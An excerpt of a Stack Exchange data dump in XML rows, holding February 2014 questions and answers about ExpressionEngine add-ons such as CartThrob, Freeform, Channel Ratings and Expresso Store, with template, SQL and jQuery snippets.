  <row Id="19223" PostTypeId="1" AcceptedAnswerId="19351" CreationDate="2014-02-07T16:46:51.317" Score="2" ViewCount="119" Body="&lt;p&gt;We need to send a notification email to a person who receives an item from their registry.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Person A: Adds item to registry&lt;/li&gt;&#xA;&lt;li&gt;Person B: Finds Person A's registry and purchases an item &lt;/li&gt;&#xA;&lt;li&gt;Person A: Receives a notification email informing them &quot;An item has been purchased for you.&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;While this is one use case, are there any other wishlist/registry events that we can send notifications on?  I haven't been able to find any documentation on this and CartThrob seems to have a flexible notification architecture for steps in their other related CartThrob products.&lt;/p&gt;&#xA;" OwnerUserId="161" LastActivityDate="2014-03-20T11:32:52.677" Title="Can CartThrob send notification emails on wishlist/registry events?" Tags="|cartthrob|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19224" PostTypeId="1" AcceptedAnswerId="19225" CreationDate="2014-02-07T17:07:21.370" Score="0" ViewCount="78" Body="&lt;p&gt;I am writing a form from within a plugin module using EEE 2.6.1&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    class Meal_form {&#xA;&#xA;    public function __construct()&#xA;    {&#xA;        $this-&amp;gt;EE =&amp;amp; get_instance();&#xA;    }&#xA;&#xA;    public function form()&#xA;    {&#xA;&#xA;        $form_data = array(&#xA;            &quot;id&quot;    =&amp;gt; $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;form_id,&#xA;            &quot;class&quot; =&amp;gt; $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;form_class&#xA;        );&#xA;&#xA;        $tagdata = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata;&#xA;&#xA;        $form = $this-&amp;gt;EE-&amp;gt;functions-&amp;gt;form_declarations($form_data) . $tagdata . &quot;&amp;lt;/form&amp;gt;&quot;;&#xA;&#xA;        return $form;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I receive the following error on form_declarations();&#xA;Fatal error: Call to undefined method EE_Functions::form_declarations() &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2709" LastActivityDate="2014-02-07T17:13:42.200" Title="Form Plugin, Call to undefined method EE_Functions::form_declarations()" Tags="|forms|plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19225" PostTypeId="2" ParentId="19224" CreationDate="2014-02-07T17:13:42.200" Score="1" Body="&lt;p&gt;The method name is &lt;code&gt;form_declaration()&lt;/code&gt;, not &lt;code&gt;form_declarations()&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-02-07T17:13:42.200" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19227" PostTypeId="1" CreationDate="2014-02-07T18:50:33.340" Score="0" ViewCount="399" Body="&lt;p&gt;Is there a way to graphically display multi-day events on a Solspace calendar? I am wanting to create a calendar that works like Google calendars so a multi day event displays as a color bar across the days of the event.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just showing the title of the event on each day of the event doesn't cut it The graphical UI just communicates so much more effectively and quickly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks!&lt;/p&gt;&#xA;" OwnerUserId="2382" LastActivityDate="2014-02-08T16:49:03.437" Title="Graphical display of multi-day calendar events?" Tags="|solspace-calendar|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19228" PostTypeId="1" CreationDate="2014-02-07T18:55:48.293" Score="0" ViewCount="274" Body="&lt;p&gt;This is partially related to this question:&#xA;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/13126/additional-parameters-while-using-freeform-pro-fieldtype&quot;&gt;Additional parameters while using Freeform Pro Fieldtype&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't see these options in the Freeform docs, but it seems if you add parameters to the single tag some do output.&#xA;&lt;a href=&quot;http://www.solspace.com/docs/freeform/channel_entry_fieldtype/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.solspace.com/docs/freeform/channel_entry_fieldtype/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eg. short name of field is channel_field&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{channel_field}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To add a custom class name to all forms in the template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{channel_field form:class=&quot;your_class_name&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This outputs the form from composer including the custom class name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Parameters for the form tag pair are here, including the option of a custom error page:&#xA;&lt;a href=&quot;http://www.solspace.com/docs/freeform/form/#error_page&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.solspace.com/docs/freeform/form/#error_page&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this does not work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{channel_field error_page=&quot;path_to/template&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I specify a custom error page while using the freeform field type?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This question is directed at Solspace, but it would be great if anyone else could help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;** Edit 11 Feb 2014 **&#xA;Thanks @Solspace. I'd forgotten I've actually set this up already. I have a custom Composer Template assigned to this form with these Template Params:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Param Name: error_page&lt;/li&gt;&#xA;&lt;li&gt;Param Value: site/form-error&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But I hadn't realised this custom page was working as the error page URL is:&#xA;    &lt;code&gt;http://example.co.uk/?ACT=72&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rather than:&#xA;    &lt;code&gt;http://example.co.uk/form-error/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like you're handling the error template display during a form submission method and not redirecting?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I know where the error page is coming from I've got an unrelated issue why this isn't working. I'll raise a support ticket.&lt;/p&gt;&#xA;" OwnerUserId="351" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2014-02-11T17:52:41.907" Title="Freeform Pro - Channel Entry Fieldtype - Custom error page" Tags="|solspace-freeform|solspace|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19229" PostTypeId="2" ParentId="19182" CreationDate="2014-02-07T19:15:34.167" Score="0" Body="&lt;p&gt;This errors is pretty specific. It says your 'db509793644.exp_assets' table doesn't exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Get into phpmyadmin or whatever tool you use for navigating your database and look for &quot;db509793644.exp_assets&quot;. Is that the correct name of your table? Specifically, the &quot;db509793644&quot; part? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that is the correct table name and the table is not there, you'll need to restore from backup. If you don't have one, check with your host. They will most likely be able to pull from their backup. You might want to have them restore the whole site to the state it was at before the update...&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2014-02-07T19:15:34.167" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19230" PostTypeId="1" AcceptedAnswerId="19232" CreationDate="2014-02-07T19:22:14.073" Score="1" ViewCount="27" Body="&lt;p&gt;Channel Ratings: 4.0.4, EE: 2.7.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the channel ratings &quot;Like&quot; function, so the logged in users can &quot;Like&quot; certain products. I want to be able to display who has liked an entry. I am using this bit of code to display the &quot;like_author_id&quot; which happens to be the same as the &quot;member_id&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query &#xA;   sql=&quot;SELECT * &#xA;   FROM exp_channel_ratings_likes&#xA;   WHERE entry_id = '{entry_id}'&#xA;   AND liked &amp;gt; '0'&#xA;&quot;}&#xA;   {if like_author_id != &quot;0&quot;}&#xA;      &amp;lt;a href=&quot;{path='/likes/{like_author_id}'}&quot;&amp;gt;{like_author_id}&amp;lt;/a&amp;gt;,&#xA;   {/if}&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am wondering how I can display the screen_name of the author who liked the entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ps. I tried to tag channel-ratings, but I couldn't with under 150 reputation.&lt;/p&gt;&#xA;" OwnerUserId="633" LastEditorUserId="197" LastEditDate="2014-02-07T19:26:26.280" LastActivityDate="2014-02-07T20:09:12.347" Title="can you show screen_name of users who have liked an entry?" Tags="|query|query-module|channel-ratings|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19231" PostTypeId="1" AcceptedAnswerId="19249" CreationDate="2014-02-07T19:26:25.607" Score="2" ViewCount="140" Body="&lt;p&gt;CartThrob appears to be tossing data away from package options on checkout. For example, if I have a package with 2 T-Shirts, with 3 options available per shirt, CartThrob only saves &lt;em&gt;some&lt;/em&gt; of the options on checkout which leaves the data with inaccurate fulfillment data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To test, I went and created a Package with 2 of the same items in it (1 T-Shirt twice). When I add 1 shirt with options of Black, Small, and Long Sleeve, and the other shirt with Large, White, and Short Sleeve, CartThrob only saves some of the info. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using this with CartThrob 2.5 and EE 2.7.3 on PHP 5.4.7. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've done a dump of the serialized data from the db and here's the output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[product_size] =&amp;gt; small&#xA;[product_options_other] =&amp;gt; short&#xA;[product_color] =&amp;gt; black&#xA;[sub_items] =&amp;gt; Array&#xA;    (&#xA;        [0] =&amp;gt; Array&#xA;            (&#xA;                [entry_id] =&amp;gt; 3&#xA;                [title] =&amp;gt; Test T-Shirt&#xA;                [site_id] =&amp;gt; 1&#xA;                [quantity] =&amp;gt; 1&#xA;                [price] =&amp;gt; 40&#xA;                [price_plus_tax] =&amp;gt; 48&#xA;                [weight] =&amp;gt; 2&#xA;                [shipping] =&amp;gt; 10&#xA;                [no_tax] =&amp;gt; &#xA;                [no_shipping] =&amp;gt; &#xA;                [product_size] =&amp;gt; &#xA;            )&#xA;&#xA;        [1] =&amp;gt; Array&#xA;            (&#xA;                [entry_id] =&amp;gt; 3&#xA;                [title] =&amp;gt; Test T-Shirt&#xA;                [site_id] =&amp;gt; 1&#xA;                [quantity] =&amp;gt; 1&#xA;                [price] =&amp;gt; 40&#xA;                [price_plus_tax] =&amp;gt; 48&#xA;                [weight] =&amp;gt; 2&#xA;                [shipping] =&amp;gt; 10&#xA;                [no_tax] =&amp;gt; &#xA;                [no_shipping] =&amp;gt; &#xA;                [product_size] =&amp;gt; large&#xA;            )&#xA;&#xA;    )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the individual product arrays from the package are missing all the meta except size, but only 1 has a value. &lt;/p&gt;&#xA;" OwnerUserId="169" LastEditorUserId="169" LastEditDate="2014-02-07T19:39:11.610" LastActivityDate="2014-02-09T19:41:04.110" Title="CartThrob Package Items and Options Missing" Tags="|cartthrob|packages|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="19232" PostTypeId="2" ParentId="19230" CreationDate="2014-02-07T19:28:40.043" Score="2" Body="&lt;p&gt;I'm not entirely familiar with Channel Ratings, but you should be able to do what you're looking for with the query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query &#xA;   sql=&quot;SELECT exp_channel_ratings.*, exp_members.screen_name as like_screen_name &#xA;   FROM exp_channel_ratings_likes, exp_members&#xA;   WHERE entry_id = '{entry_id}' and exp_channel_ratings.like_author_id = exp_members.member_id&#xA;   AND liked &amp;gt; '0'&quot;}&#xA;       {if like_author_id != &quot;0&quot;}&#xA;          &amp;lt;a href=&quot;{path='/likes/{like_author_id}'}&quot;&amp;gt;{like_screen_name}&amp;lt;/a&amp;gt;,&#xA;       {/if}&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: You may want to change that &lt;code&gt;exp_channel_ratings.*&lt;/code&gt; to use the specific fields you want to query, reducing the number of fields pulled back in your query. Could help with performance.&lt;/p&gt;&#xA;" OwnerUserId="197" LastEditorUserId="197" LastEditDate="2014-02-07T20:09:12.347" LastActivityDate="2014-02-07T20:09:12.347" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19233" PostTypeId="2" ParentId="19167" CreationDate="2014-02-07T20:04:44.180" Score="1" Body="&lt;p&gt;There's no way to do this automatically. It requires a javascript solution to check the selected fabric options and generate the second color options on the fly. Below is an example, but it's provided, as is, with no guarantees or additional support.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the general idea, starting with the 2 matrix fields. The &quot;Extras&quot; column in the fabric options corresponds to the &quot;Fabric ID&quot; in the Extra Options matrix. So in this instance, Linen would have the colors red, blue, and green. Silk has yellow and blue. etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PPtcG.png&quot; alt=&quot;Option Matrixes&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;DISCLAIMER: I am not a javascript developer. There will probably be some techniques here that a real JS developer will cringe at. I provide this as a rough example that you'll need to tweak to suit your purposes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: You'll need to set protect_javascript to &quot;n&quot; in your EE config settings in order to parse EE tags in your javascript.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the javascript code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;html&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;{exp:jquery:script_tag}&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    jQuery(document).ready(function($){&#xA;&#xA;    {exp:channel:entries entry_id=&quot;ADD YOUR ENTRY ID HERE&quot;}&#xA;    {!-- fabric_options is the short name of the fabric option matrix --}&#xA;    {fabric_options}&#xA;        var fabric_options_{option_value}_str = &quot;{extras}&quot;;&#xA;        var fabric_options_{option_value} = fabric_options_{option_value}_str.split(&quot;,&quot;); &#xA;    {/fabric_options}&#xA;&#xA;    {!-- extra_options is what I've called the color options --}&#xA;    {extra_options}&#xA;        {fabric_id} = new Object();&#xA;        {fabric_id}.option_value = &quot;{option_value}&quot;;&#xA;        {fabric_id}.option_name = &quot;{option_name}&quot;; &#xA;    {/extra_options}&#xA;&#xA;    {/exp:channel:entries}&#xA;&#xA;$(&quot;.fabric_options&quot;).change(function(){&#xA;    var selected = eval(&quot;fabric_options_&quot;+$(this).val()); &#xA;    if (typeof selected == &quot;undefined&quot; || !(selected instanceof Array)) {&#xA;        &amp;lt;!-- nothing to show --&amp;gt;&#xA;    }&#xA;    else&#xA;    {&#xA;        // generate a select box. &#xA;        var s = $(&quot;&amp;lt;select name='item_options[extra_options]' /&amp;gt;&quot;);&#xA;&#xA;        for(var i=0; i&amp;lt;selected.length; i++){&#xA;            $(&quot;&amp;lt;option /&amp;gt;&quot;, {value: eval(selected[i]).option_value, text: eval(selected[i]).option_name}).appendTo(s);&#xA;        }&#xA;&#xA;    // throws the newly minted select box into the HTML&#xA;    $(&quot;.color_select&quot;).html(s);&#xA;    $(&quot;.color_select&quot;).prepend(&quot;Select a Color:&quot;);&#xA;    $(&quot;.color_select&quot;).append(&quot;&amp;lt;br /&amp;gt;&quot;);&#xA;    }&#xA;&#xA;});&#xA;&#xA;}); &#xA;&#xA;&amp;lt;/script&amp;gt;&#xA;&#xA;&amp;lt;/head&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;&#xA;{exp:channel:entries entry_id=&quot;ADD YOUR ENTRY ID HERE&quot;}&#xA;{exp:cartthrob:add_to_cart_form entry_id=&quot;{entry_id}&quot;}&#xA;{title}&amp;lt;br /&amp;gt;&#xA;Choose a Fabric&#xA;&#xA;&amp;lt;select name=&quot;item_options[fabric_options]&quot; class=&quot;fabric_options&quot;}&amp;gt; &#xA;&amp;lt;option value=&quot;&quot;&amp;gt;Select a Fabric&amp;lt;/option&amp;gt;&#xA;    {fabric_options}&#xA;        &amp;lt;option value=&quot;{option_value}&quot;&amp;gt;&#xA;            {option_name}&#xA;        &amp;lt;/option&amp;gt;&#xA;    {/fabric_options}&#xA;&amp;lt;/select&amp;gt;&amp;lt;br /&amp;gt;&#xA;&#xA;&amp;lt;span class=&quot;color_select&quot;&amp;gt;&amp;lt;/span&amp;gt;  &#xA;Quantity &amp;lt;input type=&quot;text&quot; name=&quot;quantity&quot; value=&quot;&quot; /&amp;gt;&amp;lt;br /&amp;gt;&#xA;&amp;lt;input type=&quot;submit&quot; value=&quot;Add to Cart&quot; /&amp;gt;&#xA;{/exp:cartthrob:add_to_cart_form}           &#xA;{/exp:channel:entries}&#xA;&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2584" LastActivityDate="2014-02-07T20:04:44.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19234" PostTypeId="2" ParentId="19184" CreationDate="2014-02-07T20:44:37.133" Score="2" Body="&lt;p&gt;I'd guess your files didn't upload correctly to the server. Reupload all your EE files to the server... specifically, make sure your /themes directory in 100% uploaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, make sure you are changing/setting directory &amp;amp; file permissions on the server.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2014-02-07T20:44:37.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19235" PostTypeId="2" ParentId="19219" CreationDate="2014-02-07T20:53:37.003" Score="1" Body="&lt;p&gt;The renewal date is determined based on the Last Bill Date, the Interval Units, and Interval Length. All of those variables are editable after a subscription has been created. So while you can't specifically set an exact renewal date, you can modify those fields to get the renewal date you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also an End date field you can set to terminate all rebilling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a screenshot that shows all of the editable fields available when you edit a subscription.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ISXQb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2584" LastActivityDate="2014-02-07T20:53:37.003" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19236" PostTypeId="2" ParentId="19137" CreationDate="2014-02-07T20:58:11.580" Score="0" Body="&lt;p&gt;I'd guess the answer is no without a hack to the addon or building a custom extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to go the extension route, here's a very good code starting point:&lt;br&gt;&#xA;&lt;a href=&quot;https://github.com/pixelandtonic/wygwam_template_links&quot; rel=&quot;nofollow&quot;&gt;https://github.com/pixelandtonic/wygwam_template_links&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2014-02-07T20:58:11.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19237" PostTypeId="2" ParentId="19228" CreationDate="2014-02-07T21:02:53.083" Score="1" Body="&lt;p&gt;You can actually get the raw form_id from the fieldtype tag like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{channel_field:form_id}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can use that inside a regular &lt;code&gt;{exp:freeform:form}&lt;/code&gt; tag as a parameter, which should allow you access to all of the params of freeform:form. I've done this once before. I don't recall if you need embeds/stash to get around parse order issues.&lt;/p&gt;&#xA;" OwnerUserId="617" LastActivityDate="2014-02-07T21:02:53.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19238" PostTypeId="1" AcceptedAnswerId="19264" CreationDate="2014-02-07T21:21:11.803" Score="1" ViewCount="343" Body="&lt;p&gt;I'm using Payflow Pro with Paypal and I'm running into a bit of an issue. My local test server does not have an SSL setup. With that in mind, if I enter the test credit card details on the final page I can make a successful connection with the gateway and have a completed purchase. If I enter the test credit card details on a step which is before my final confirmation page, I get an error of &quot;The number parameter is required&quot; when I make my final purchase. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is this a bug?  &lt;/li&gt;&#xA;&lt;li&gt;Do credit card details need to be submitted on the    last step?&lt;/li&gt;&#xA;&lt;li&gt;Or, is this due to the lack of SSL in my local test    environment?&lt;/li&gt;&#xA;&lt;li&gt;Maybe it's another issue all together? &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1907" LastActivityDate="2014-02-09T00:17:25.150" Title="Expresso Store: The number parameter is required" Tags="|expresso-store|paypal|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19239" PostTypeId="1" CreationDate="2014-02-07T21:24:53.340" Score="1" ViewCount="213" Body="&lt;p&gt;Update to 2.7.2 and keep getting an error in a Channel Form with a file field. The initial error is a javascript error. If I try to click on the &quot;close&quot; I am sent to the top of the page with a hash tag (#) appended to the URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the channel form the field is : &lt;code&gt;{field:artist_pic}&lt;/code&gt; where &lt;code&gt;artist_pic&lt;/code&gt; is a file field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I remove the &lt;code&gt;safecracker_file&lt;/code&gt; folder from the &lt;code&gt;third_party&lt;/code&gt; folder, I get a page breaking error such as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error&#xA;&#xA;Unable to load requested field type file:  ft.safecracker_file.php.&#xA;Confirm the fieldtype file is located in the expressionengine/third_party/ directory&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What do I need to do in order to correct this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;* EDIT *&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The update was from v2.5.5 when performed. The field is a file field and not a saefcracker field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the js error received it is an unknow error &lt;code&gt;W3C is an unknown...&lt;/code&gt; basically, not seeing the 'file' it is looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;* EDIT II *&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok, so after speaking with my partner on this, it looks as though the previous file was never updated to a standard file field. He is making that change now. SOOOOOOO, to keep with the spirit of awarding answers on EESE, who knows if changing field types from saefcracker file fields to a standard file field keeps the data already associated to all of the entries?&lt;/p&gt;&#xA;" OwnerUserId="3139" LastEditorUserId="3139" LastEditDate="2014-02-08T02:06:52.470" LastActivityDate="2014-02-08T04:00:25.700" Title="EE 2.7.2 Upgrade - Channel Form File issue" Tags="|channel-form|ee2-upgrades|safecracker-file|saef|" AnswerCount="3" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19240" PostTypeId="2" ParentId="19239" CreationDate="2014-02-07T21:43:32.880" Score="0" Body="&lt;p&gt;You don't mention which EE version you updated from but here's some info that might help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In v2.7.0 the SafeCracker File fieldtype was merged with ExpressionEngine’s native File field as per this blog entry (&lt;strong&gt;&lt;a href=&quot;http://ellislab.com/blog/entry/expressionengine-2.7.0-released&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/blog/entry/expressionengine-2.7.0-released&lt;/a&gt;&lt;/strong&gt;). I don't know what that means exactly but it may be related to your issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the change log for that 2.7.0 version:&lt;br&gt;&#xA;&lt;strong&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/about/changelog.html#version-2-7-0&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/about/changelog.html#version-2-7-0&lt;/a&gt;&lt;/strong&gt; &lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2014-02-07T21:43:32.880" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19241" PostTypeId="2" ParentId="19205" CreationDate="2014-02-07T22:11:31.137" Score="2" Body="&lt;p&gt;A conditional based on an entry's ID might look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:product}    &#xA;    {if entry_id == &quot;XXX&quot;}&#xA;            &amp;lt;select name=&quot;color&quot;&amp;gt;&#xA;                &amp;lt;option value=&quot;Green&quot;&amp;gt;Green&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value=&quot;Yellow&quot;&amp;gt;Yellow&amp;lt;/option&amp;gt;&#xA;            &amp;lt;/select&amp;gt;&#xA;        {/if}&#xA;{/exp:store:product}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Replace XXX with the entry_id.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2014-02-07T22:11:31.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19242" PostTypeId="1" CreationDate="2014-02-07T22:33:53.373" Score="0" ViewCount="61" Body="&lt;p&gt;I have a channel which searches by various custom fields and returns 4 results. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to do is to order them by 1,2,3,4 etc and have a custom field to order them with to that effect. No problem there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where the question arises is if only 3 entries are returned - there have to be 4 as each entry equals a time: 1 - 10.00, 2 - 10.30, 3 - 11.00 and 4 - 11.30.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So we need to have a conditional to show one of these but can't actually test against one as it doesn't exist. Ie if no-one has submitted an entry for 10.00 I want it to show &quot;AVAILABLE&quot; or some such. Doesn't seem that easy to do....&lt;/p&gt;&#xA;" OwnerUserId="2748" LastActivityDate="2014-02-08T07:18:35.597" Title="Custom Sort Order Puzzler" Tags="|orderby|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19243" PostTypeId="2" ParentId="19185" CreationDate="2014-02-07T23:10:06.417" Score="0" Body="&lt;p&gt;I'm 99% sure the invoice number comes from the incremented &quot;id&quot; column in &lt;code&gt;exp_store_orders&lt;/code&gt;. I wanted higher invoice numbers on a recent project so I manually changed the most recent test order &quot;id&quot; to 10000. That should work for you too.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2014-02-07T23:10:06.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19244" PostTypeId="2" ParentId="19239" CreationDate="2014-02-07T23:20:44.727" Score="1" Body="&lt;p&gt;It's possible you forgot to upload the /themes directory when you upgraded EE. Try reuploading all the files in that directory to be eliminate that as the source of the error.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2014-02-07T23:20:44.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19245" PostTypeId="2" ParentId="18650" CreationDate="2014-02-07T23:33:09.060" Score="0" Body="&lt;p&gt;This sounds like an issue I came upon where Store's real-time shipping rate caching was not clearing when products changed in the cart or the shipping address changed. So if during testing you loading the shipping rate page, that rate would be cached regardless of new/deleted products or zipcode change. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Upgrading to Store v2.2.0 fixed this issue for me.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;FROM 2.2.0 RELEASE NOTES: &quot;Fixed overzealous caching of certain shipping extension HTTP requests&#xA;  causing shipping prices to not update&quot;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;a href=&quot;https://exp-resso.com/docs/release_notes.html&quot; rel=&quot;nofollow&quot;&gt;https://exp-resso.com/docs/release_notes.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="28" LastActivityDate="2014-02-07T23:33:09.060" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
